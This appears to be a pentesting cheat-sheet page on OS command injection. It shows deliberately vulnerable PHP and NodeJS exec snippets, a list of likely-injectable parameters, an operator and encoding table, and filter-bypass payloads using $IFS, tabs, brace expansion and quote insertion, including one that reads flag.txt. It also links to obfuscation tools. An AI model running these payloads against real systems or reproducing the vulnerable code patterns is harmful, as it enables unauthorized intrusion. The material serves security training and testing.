Command Injection

OS Command Injections

PHP Example

exec, system, shell_exec, passthru, or popen functions to execute commands

<?php
if (isset($_GET['filename'])) {
    system("touch /tmp/" . $_GET['filename'] . ".pdf");
}
?>

NodeJS Example

child_process.exec or child_process.spawn

app.get("/createfile", function(req, res){
    child_process.exec(`touch /tmp/${req.query.filename}.txt`);
})

Vulnerable Parameters

Top 25 parameters that could be vulnerable

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Detection

Injection Operator

Injection Character

URL-Encoded Character

Executed Command

Semicolon

;

%3b

Both

New Line

%0a

Both

Background

&

%26

Both (second output generally shown first)

Pipe

|

%7c

Both (only second output is shown)

AND

&&

%26%26

Both (only if first succeeds)

OR

|

%7c%7c

Second (only if first fails)

Sub-Shell

``

%60%60

Both (Linux-only)

Sub-Shell

$()

%24%28%29

Both (Linux-only)

Confirm with time command

Basic Payloads

Bypassing Front-End Validation

Intercept and add input

AND Operator

URL-encoding it - see Detection Table or Use Burp

%26%26

OR Operator

%7c%7c - see Detection Table or Use Burp

Execution if the first command fail

Operators

Injection Type

Operators

SQL Injection

' , ; -- /* */

Command Injection

; &&

LDAP Injection

* ( ) & |

XPath Injection

' or and not substring concat count

OS Command Injection

; & |

Code Injection

' ; -- /* */ $() ${} #{} %{} ^

Directory Traversal/File Path Traversal

../ ..\\ %00

Object Injection

; & |

XQuery Injection

' ; -- /* */

Shellcode Injection

\x \u %u %n

Header Injection

\r %0d %0a %09

Blind OS Command Injection

Detection

LogoBlind OS Command InjectionMedium

Reverse shell

Blind OS command injection - Redirect output

Blind OS command injection - out of band OAST

Detection

Exfiltration

WAF

If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF.

Blacklisted Characters

Identifying Blacklisted Character

One at a time: 127.0.0.1; - Use URL encoding -see Detection Table or Use Burp

Bypassing Space Filters

Bypass Blacklisted Operators

The new-line character is usually not blacklisted, as it may be needed in the payload itself

Bypass Blacklisted Spaces

127.0.0.1%0a whoami

A space is a commonly blacklisted character, especially if the input should not contain any spaces

Using Tabs

Using tabs (%09) instead of spaces is a technique that may work

127.0.0.1%0a%09

Using $IFS

127.0.0.1%0a${IFS}

Using Brace Expansion

127.0.0.1%0a{ls,-la}

More space filter bypass:

LogoPayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub

Bypassing Other Blacklisted Characters

Linux

One technique we can use for replacing slashes (or any other character) is through Linux Environment Variables

127.0.0.1; ls /home

RS Socat

semi-colon character

semi-colon and a space

127.0.0.1${LS_COLORS:10:1}${IFS}

Windows

slash - cmd:

slash - powershell

Character Shifting

slash

semi-colon

Bypassing Blacklisted Commands

Commands Blacklist

Linux & Windows

127.0.0.1%0aw'h'o'am'i

cat - Invalid Input

127.0.0.1%0a%09c'a't%09${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt

Linux Only

backslash \ and the positional parameter character $@ are ignored

Try the above two examples in your payload, and see if they work in bypassing the command filter. If they do not, this may indicate that you may have used a filtered character. Would you be able to bypass that as well, using the techniques we learned in the previous section?

Windows Only

caret (^)

Advanced Command Obfuscation

Case Manipulation

WHOAMI => WhOaMi

Replace space (blacklisted) with %09

Reversed Commands

If you wanted to bypass a character filter with the above method, you'd have to reverse them as well, or include them when reversing the original command.

Encoded Commands

Tip: Note that we are using <<< to avoid using a pipe |, which is a filtered character.

Replace space (blacklisted) with %09

Even if some commands were filtered, like bash or base64, we could bypass that filter with the techniques we discussed in the previous section (e.g., character insertion), or use other alternatives like sh for command execution and openssl for b64 decoding, or xxd for hex decoding.

More Techniques

LogoPayloadsAllTheThings/Command Injection at master · swisskyrepo/PayloadsAllTheThingsGitHub

Obfuscated Commands

List of commands obfuscated as wordlist to test possible WAF filter bypass:

List from payloadallthethings (with some change)

Fuzzing - Cluster bomb

  1. List Detection

  2. List Obfuscated Commands

cluster bomb
Payload 1 - set to detection list
Payload 2 - set to obfuscated command

Evasion Tools

Linux (Bashfuscator)

LogoGitHub - Bashfuscator/Bashfuscator: A fully configurable and extendable Bash obfuscation framework. This tool is intended to help both red team and blue team.GitHub

Windows (DOSfuscation)

LogoGitHub - danielbohannon/Invoke-DOSfuscation: Cmd.exe Command Obfuscation Generator & Detection Test HarnessGitHub

Tip: If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh. Run pwsh, and then follow the exact same command from above.

Payloads

LogoAuto_Wordlists/wordlists/command_injection.txt at main · carlospolop/Auto_WordlistsGitHub
LogoOS_Command_Payload_List/OS-Command-Fuzzing.txt at master · omurugur/OS_Command_Payload_ListGitHub
LogoGitHub - payloadbox/command-injection-payload-list: 🎯 Command Injection Payload ListGitHub

Tools

LogoGitHub - commixproject/commix: Automated All-in-One OS Command Injection Exploitation Tool.GitHub
commix

Interesting Books

Interesting Books

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

PreviousFile Upload AttacksNextMarkdown injection

Last updated